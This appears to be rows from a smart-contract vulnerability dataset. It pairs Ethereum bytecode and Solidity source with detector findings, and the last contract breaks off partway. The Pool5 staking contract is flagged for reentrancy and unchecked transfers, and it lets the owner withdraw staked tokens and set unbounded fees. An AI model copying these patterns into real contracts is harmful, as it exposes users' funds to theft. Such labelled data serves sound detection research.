0965090945050505050565b60008080806118ae88866118ef565b905060006118bc88876118ef565b905060006118ca88886118ef565b905060006118dc82611889868661173b565b939b939a50919850919650505050505050565b6000826118fe57506000610682565b600061190a8385611d42565b9050826119178583611d22565b1461130e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ee565b803561197981611dbf565b919050565b8035801515811461197957600080fd5b60006020828403121561199f578081fd5b813561130e81611dbf565b6000602082840312156119bb578081fd5b815161130e81611dbf565b600080604083850312156119d8578081fd5b82356119e381611dbf565b915060208301356119f381611dbf565b809150509250929050565b600080600060608486031215611a12578081fd5b8335611a1d81611dbf565b92506020840135611a2d81611dbf565b929592945050506040919091013590565b60008060408385031215611a50578182fd5b8235611a5b81611dbf565b946020939093013593505050565b600080600060408486031215611a7d578283fd5b833567ffffffffffffffff80821115611a94578485fd5b818601915086601f830112611aa7578485fd5b813581811115611ab5578586fd5b8760208260051b8501011115611ac9578586fd5b602092830195509350611adf918601905061197e565b90509250925092565b60006020808385031215611afa578182fd5b823567ffffffffffffffff80821115611b11578384fd5b818501915085601f830112611b24578384fd5b813581811115611b3657611b36611da9565b8060051b604051601f19603f83011681018181108582111715611b5b57611b5b611da9565b604052828152858101935084860182860187018a1015611b79578788fd5b8795505b83861015611ba257611b8e8161196e565b855260019590950194938601938601611b7d565b5098975050505050505050565b600060208284031215611bc0578081fd5b61130e8261197e565b600060208284031215611bda578081fd5b5035919050565b60008060008060808587031215611bf6578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c3e57858101830151858201604001528201611c22565b81811115611c4f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ce95784516001600160a01b031683529383019391830191600101611cc4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d1d57611d1d611d93565b500190565b600082611d3d57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d5c57611d5c611d93565b500290565b600082821015611d7357611d73611d93565b500390565b6000600019821415611d8c57611d8c611d93565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107cc57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220efd436dd7cfa31b923a89f79007a0e096c7c7bb319c8e7198dc8cd1b6ce5546f64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 2,649 |
0x7d21720e201936076c8e0ac8b65bf4837a08c27b
|
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
admin = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(admin, newOwner);
admin = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract Pool5 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
address public tokenAddress;
address public foreigntoken;
address public feeDirection;
// reward rate % per year
uint public rewardRate = 120000;
uint public rewardInterval = 365 days;
// staking fee percent
uint public stakingFeeRate = 150;
// unstaking fee percent
uint public unstakingFeeRate = 0;
// unstaking possible Time
uint public PossibleUnstakeTime = 24 hours;
uint public totalClaimedRewards = 0;
uint private FundedTokens;
bool public stakingStatus = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
/*=============================ADMINISTRATIVE FUNCTIONS ==================================*/
function setTokenAddresses(address _tokenAddr, address _liquidityAddr) public onlyOwner returns(bool){
require(_tokenAddr != address(0) && _liquidityAddr != address(0), "Invalid addresses format are not supported");
tokenAddress = _tokenAddr;
foreigntoken = _liquidityAddr;
}
function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){
stakingFeeRate = _stakingFeeRate;
unstakingFeeRate = _unstakingFeeRate;
}
function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){
rewardRate = _rewardRate;
}
function FeeDirectSet(address _address) public onlyOwner returns(bool){
feeDirection = _address;
}
function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){
FundedTokens = _poolreward;
}
function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){
PossibleUnstakeTime = _possibleUnstakeTime;
}
function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){
rewardInterval = _rewardInterval;
}
function allowStaking(bool _status) public onlyOwner returns(bool){
require(tokenAddress != address(0) && foreigntoken != address(0) && feeDirection != address(0), "Interracting token addresses are not yet configured");
stakingStatus = _status;
}
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getFundedTokens()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
function updateAccount(address account) private {
uint unclaimedDivs = getUnclaimedDivs(account);
if (unclaimedDivs > 0) {
require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs);
totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs);
emit RewardsTransferred(account, unclaimedDivs);
}
lastClaimedTime[account] = now;
}
function getUnclaimedDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint unclaimedDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return unclaimedDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function farm(uint amountToStake) public {
require(stakingStatus == true, "Staking is not yet initialized");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(foreigntoken).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(foreigntoken).transfer(feeDirection, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function unfarm(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(foreigntoken).transfer(feeDirection, fee), "Could not transfer withdraw fee.");
require(Token(foreigntoken).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function harvest() public {
updateAccount(msg.sender);
}
function getFundedTokens() public view returns (uint) {
if (totalClaimedRewards >= FundedTokens) {
return 0;
}
uint remaining = FundedTokens.sub(totalClaimedRewards);
return remaining;
}
}
|
0x608060405234801561001057600080fd5b50600436106101e55760003560e01c80636a395ccb1161010f578063d578ceab116100a2578063f2fde38b11610071578063f2fde38b14610489578063f3073ee7146104af578063f3f91fa0146104ce578063f851a440146104f4576101e5565b8063d578ceab14610469578063d816c7d514610471578063e97eff7114610479578063f1587ea114610481576101e5565b8063a89c8c5e116100de578063a89c8c5e146103f0578063bec4de3f1461041e578063c0a6d78b14610426578063c326bf4f14610443576101e5565b80636a395ccb146103845780637b0a47ee146103ba57806381cee3b1146103c25780639d76ea58146103e8576101e5565b80634641257d116101875780635ef057be116101565780635ef057be1461032a5780636270cd18146103325780636654ffdf1461035857806368ddcd0414610360576101e5565b80634641257d146102c25780634908e386146102ca578063538a85a1146102e7578063583d42fd14610304576101e5565b8063308feec3116101c3578063308feec31461027257806337c5785a1461027a578063384431771461029d578063455ab53c146102ba576101e5565b8063069ca4d0146101ea5780631c885bae1461021b5780631e94723f1461023a575b600080fd5b6102076004803603602081101561020057600080fd5b50356104fc565b604080519115158252519081900360200190f35b6102386004803603602081101561023157600080fd5b503561051d565b005b6102606004803603602081101561025057600080fd5b50356001600160a01b0316610827565b60408051918252519081900360200190f35b6102606108da565b6102076004803603604081101561029057600080fd5b50803590602001356108ec565b610207600480360360208110156102b357600080fd5b5035610910565b610207610931565b61023861093a565b610207600480360360208110156102e057600080fd5b5035610945565b610238600480360360208110156102fd57600080fd5b5035610966565b6102606004803603602081101561031a57600080fd5b50356001600160a01b0316610c5a565b610260610c6c565b6102606004803603602081101561034857600080fd5b50356001600160a01b0316610c72565b610260610c84565b610368610c8a565b604080516001600160a01b039092168252519081900360200190f35b6102386004803603606081101561039a57600080fd5b506001600160a01b03813581169160208101359091169060400135610c99565b610260610d73565b610207600480360360208110156103d857600080fd5b50356001600160a01b0316610d79565b610368610db5565b6102076004803603604081101561040657600080fd5b506001600160a01b0381358116916020013516610dc4565b610260610e6a565b6102076004803603602081101561043c57600080fd5b5035610e70565b6102606004803603602081101561045957600080fd5b50356001600160a01b0316610e91565b610260610ea3565b610260610ea9565b610368610eaf565b610260610ebe565b6102386004803603602081101561049f57600080fd5b50356001600160a01b0316610ef2565b610207600480360360208110156104c557600080fd5b50351515610f77565b610260600480360360208110156104e457600080fd5b50356001600160a01b0316611019565b61036861102b565b600080546001600160a01b0316331461051457600080fd5b60059190915590565b336000908152600e6020526040902054811115610581576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600854336000908152600f602052604090205461059f90429061103a565b116105db5760405162461bcd60e51b815260040180806020018281038252603b8152602001806113a7603b913960400191505060405180910390fd5b6105e433611051565b6000610607612710610601600754856111e590919063ffffffff16565b9061120c565b90506000610615838361103a565b6002546003546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101879052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561067057600080fd5b505af1158015610684573d6000803e3d6000fd5b505050506040513d602081101561069a57600080fd5b50516106ed576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6002546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561074157600080fd5b505af1158015610755573d6000803e3d6000fd5b505050506040513d602081101561076b57600080fd5b50516107be576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b336000908152600e60205260409020546107d8908461103a565b336000818152600e60205260409020919091556107f790600c90611221565b80156108105750336000908152600e6020526040902054155b1561082257610820600c33611236565b505b505050565b6000610834600c83611221565b610840575060006108d5565b6001600160a01b0382166000908152600e6020526040902054610865575060006108d5565b6001600160a01b03821660009081526010602052604081205461088990429061103a565b6001600160a01b0384166000908152600e602052604081205460055460045493945090926108cf91612710916106019190829088906108c99089906111e5565b906111e5565b93505050505b919050565b60006108e6600c61124b565b90505b90565b600080546001600160a01b0316331461090457600080fd5b60069290925560075590565b600080546001600160a01b0316331461092857600080fd5b600a9190915590565b600b5460ff1681565b61094333611051565b565b600080546001600160a01b0316331461095d57600080fd5b60049190915590565b600b5460ff1615156001146109c2576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b60008111610a17576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600254604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610a7157600080fd5b505af1158015610a85573d6000803e3d6000fd5b505050506040513d6020811015610a9b57600080fd5b5051610aee576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b610af733611051565b6000610b14612710610601600654856111e590919063ffffffff16565b90506000610b22838361103a565b6002546003546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101879052905193945091169163a9059cbb916044808201926020929091908290030181600087803b158015610b7d57600080fd5b505af1158015610b91573d6000803e3d6000fd5b505050506040513d6020811015610ba757600080fd5b5051610bfa576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600e6020526040902054610c149082611256565b336000818152600e6020526040902091909155610c3390600c90611221565b61082257610c42600c33611265565b50336000908152600f60205260409020429055505050565b600f6020526000908152604090205481565b60065481565b60116020526000908152604090205481565b60085481565b6002546001600160a01b031681565b6000546001600160a01b03163314610cb057600080fd5b6001546001600160a01b0384811691161415610ceb57610cce610ebe565b811115610cda57600080fd5b600954610ce79082611256565b6009555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610d4257600080fd5b505af1158015610d56573d6000803e3d6000fd5b505050506040513d6020811015610d6c57600080fd5b5050505050565b60045481565b600080546001600160a01b03163314610d9157600080fd5b600380546001600160a01b0319166001600160a01b03939093169290921790915590565b6001546001600160a01b031681565b600080546001600160a01b03163314610ddc57600080fd5b6001600160a01b03831615801590610dfc57506001600160a01b03821615155b610e375760405162461bcd60e51b815260040180806020018281038252602a815260200180611415602a913960400191505060405180910390fd5b600180546001600160a01b039485166001600160a01b031991821617909155600280549390941692169190911790915590565b60055481565b600080546001600160a01b03163314610e8857600080fd5b60089190915590565b600e6020526000908152604090205481565b60095481565b60075481565b6003546001600160a01b031681565b6000600a5460095410610ed3575060006108e9565b6000610eec600954600a5461103a90919063ffffffff16565b91505090565b6000546001600160a01b03163314610f0957600080fd5b6001600160a01b038116610f1c57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314610f8f57600080fd5b6001546001600160a01b031615801590610fb357506002546001600160a01b031615155b8015610fc957506003546001600160a01b031615155b6110045760405162461bcd60e51b81526004018080602001828103825260338152602001806113e26033913960400191505060405180910390fd5b600b805460ff19169215159290921790915590565b60106020526000908152604090205481565b6000546001600160a01b031681565b60008282111561104657fe5b508082035b92915050565b600061105c82610827565b905080156111c8576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156110ba57600080fd5b505af11580156110ce573d6000803e3d6000fd5b505050506040513d60208110156110e457600080fd5b5051611137576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526011602052604090205461115a9082611256565b6001600160a01b0383166000908152601160205260409020556009546111809082611256565b600955604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152601060205260409020429055565b60008282028315806111ff5750828482816111fc57fe5b04145b61120557fe5b9392505050565b60008082848161121857fe5b04949350505050565b6000611205836001600160a01b03841661127a565b6000611205836001600160a01b038416611292565b600061104b82611358565b60008282018381101561120557fe5b6000611205836001600160a01b03841661135c565b60009081526001919091016020526040902054151590565b6000818152600183016020526040812054801561134e57835460001980830191908101906000908790839081106112c557fe5b90600052602060002001549050808760000184815481106112e257fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061131257fe5b6001900381819060005260206000200160009055905586600101600087815260200190815260200160002060009055600194505050505061104b565b600091505061104b565b5490565b6000611368838361127a565b61139e5750815460018181018455600084815260208082209093018490558454848252828601909352604090209190915561104b565b50600061104b56fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e74657272616374696e6720746f6b656e2061646472657373657320617265206e6f742079657420636f6e66696775726564496e76616c69642061646472657373657320666f726d617420617265206e6f7420737570706f72746564a2646970667358221220f5d476e64b8ce5732f6545681f59daf1ae156cd40f9909e614264736a943ca9364736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,650 |
0x7467926bc25e45564baa20171af658ff3bcbb203
|
/**
* @author https://github.com/Dmitx
*/
pragma solidity ^0.4.23;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
